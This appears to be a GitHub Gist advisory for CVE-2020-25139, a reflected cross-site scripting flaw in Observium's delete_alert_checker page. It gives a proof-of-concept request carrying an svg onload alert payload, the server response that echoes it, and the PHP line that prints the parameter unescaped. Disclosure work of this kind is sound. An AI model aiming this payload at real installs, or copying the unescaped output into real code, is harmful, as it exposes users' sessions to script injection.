Instantly share code, notes, and snippets.

mariuszpoplawski / **CVE-2020-25139**

Created 2 years ago

☆ Star

<> Code ⦿ Revisions 1

<> **CVE-2020-25139**

```
1    CVE-2020-25139
2    ----------------------------------------
3    Cross Site Scripting in delete_alert_checker
4
5    ----------------------------------------
6    [Description]
7    Penetration test has shown that the application is vulnerable to Cross-Site Scripting (XSS) due to the fact that it is possible to inject a
8
9    [Additional Information]
10
11
12   Example request that allows to trigger XSS payload.
13
14   GET /alert_check/action=delete_alert_checker/alert_test_id=test1337%3Csvg%20onload=alert(document.domain)%3E/confirm=1/ HTTP/1.1
15   Host: localhost
16   Connection: close
17   DNT: 1
18   Upgrade-Insecure-Requests: 1
19   User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
20   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
21   Sec-Fetch-Site: none
22   Sec-Fetch-Mode: navigate
23   Sec-Fetch-User: ?1
24   Sec-Fetch-Dest: document
25   Accept-Encoding: gzip, deflate
26   Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
27   Cookie: observium_screen_ratio=1; observium_screen_resolution=3840x2160; OBSID=eu94e90vt44eutd8me3e3c7uq9vudjtf
28
29
30   Partial of server response:
31
32   HTTP/1.1 200 OK
33   Date: Tue, 11 Aug 2020 09:16:14 GMT
34   Strict-Transport-Security: max-age=63072000; includeSubdomains;
35   X-Frame-Options: DENY
36   Expires: Thu, 19 Nov 1981 08:52:00 GMT
37   Cache-Control: no-store, no-cache, must-revalidate
38   Pragma: no-cache
39   Set-Cookie: OBSID=eu94e90vt44eutd8me3e3c7uq9vudjtf; expires=Tue, 11-Aug-2020 09:46:15 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
40   X-XSS-Protection: 1; mode=block
41   X-Permitted-Cross-Domain-Policies: none
42   Content-Security-Policy: sandbox allow-forms allow-scripts allow-same-origin;
43   X-Content-Type-Options: nosniff
44   Connection: close
45   Content-Type: text/html; charset=UTF-8
46   Content-Length: 1228927
47
48   <!DOCTYPE html>
49   <html lang="en">
50   <head>
51       <base href="https://localhost/"/>
52       <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
53       <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
54
55       <!-- CSS BEGIN -->
56       <link href="css/observium.css?v=20.7.10615" rel="stylesheet" type="text/css" />
57       <link href="css/sprite.css?v=20.7.10615" rel="stylesheet" type="text/css" />
58       <link href="css/flags.css?v=20.7.10615" rel="stylesheet" type="text/css" />
59       <link href="css/c3.min.css?v=20.7.10615" rel="stylesheet" type="text/css" />
60   <!-- CSS END -->
61   (…)
62       <div class="alert alert-info"><button type="button" class="close" data-dismiss="alert">&times;</button>
63         <div>Deleted all traces of alert checker test1337<svg onload=alert(document.domain)></div>
64       </div>
65
66
67   Below we present vulnerable code:
68
69   /var/opt/observium/html/pages/alert_check.inc.php:
70
71   109   else if ($vars['action'] == "delete_alert_checker" && $vars['alert_test_id'] && $vars['confirm'])
72   110   {
73   111     // Maybe expand this to output more info.
74   112
75   113     dbDelete('alert_tests', '`alert_test_id` = ?', array($vars['alert_test_id']));
76   114     dbDelete('alert_table', '`alert_test_id` = ?', array($vars['alert_test_id']));
77   115     //dbDelete('alert_table-state', '`alert_test_id` = ?', array($vars['alert_test_id']));
78   116     dbDelete('alert_assoc', '`alert_test_id` = ?', array($vars['alert_test_id']));
79   117     dbDelete('alert_contacts_assoc', '`alert_checker_id` = ?', array($vars['alert_test_id']));
80   118
81   119     print_message("Deleted all traces of alert checker ".$vars['alert_test_id']);
```

```
 82    120    unset($vars['alert_test_id']);
 83    121  }
 84
 85
 86    ------------------------------------------
 87
 88    [VulnerabilityType Other]
 89    Cross Site Scripting
 90
 91    ------------------------------------------
 92
 93    [Vendor of Product]
 94    https://www.observium.org/
 95
 96    ------------------------------------------
 97
 98    [Affected Product Code Base]
 99    Professional, Enterprise & Community 20.8.10631
100
101    ------------------------------------------
102
103    [Affected Component]
104    alert_check -> delete_alert_checker
105
106    ------------------------------------------
107
108    [Attack Type]
109    Remote
110
111    ------------------------------------------
112
113    [Reference]
114    https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
115    https://www.owasp.org/images/b/bc/OWASP_Top_10_Proactive_Controls_V3.pdf
116    https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)
117    https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)
118    https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)
119
120
121
122    ------------------------------------------
123
124    [Discoverer]
125    Mariusz Popławski
126
127    ------------------------------------------
128
129
130    Mariusz Popławski / AFINE.com team
```